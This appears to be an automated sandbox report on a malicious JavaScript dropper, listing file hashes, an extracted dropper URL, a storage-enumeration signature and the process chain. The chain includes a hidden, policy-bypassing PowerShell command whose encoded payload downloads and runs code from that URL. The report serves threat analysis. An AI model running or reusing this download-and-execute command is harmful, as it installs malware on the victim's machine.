Analysis
-
max time kernel
0s -
max time network
74s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
25-12-2023 14:59
General
-
Target
278c4fd952f5da7ec81a7659a470ddab.js
-
Size
89KB
-
MD5
278c4fd952f5da7ec81a7659a470ddab
-
SHA1
895414c71c6da889549e5ab031d734f5a8e16aa8
-
SHA256
3ac78ec7d0d61fe432200370c6c2ba9747ce918f14a8c983df27165dcd7c8517
-
SHA512
bec85649fec9e9dd87ac27d7d5aca66f8c060b167c91701777a7e142dafed9bba32d34f18af657c6d5c245eb9919bff365b5ac61659c98d7e91f3a08c0a43692
-
SSDEEP
1536:nlIqIb6B3tt5xLLfw9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8V:nlIVw3ttnLLfw9Ry98guHVBqqg2bcruU
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\278c4fd952f5da7ec81a7659a470ddab.js1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB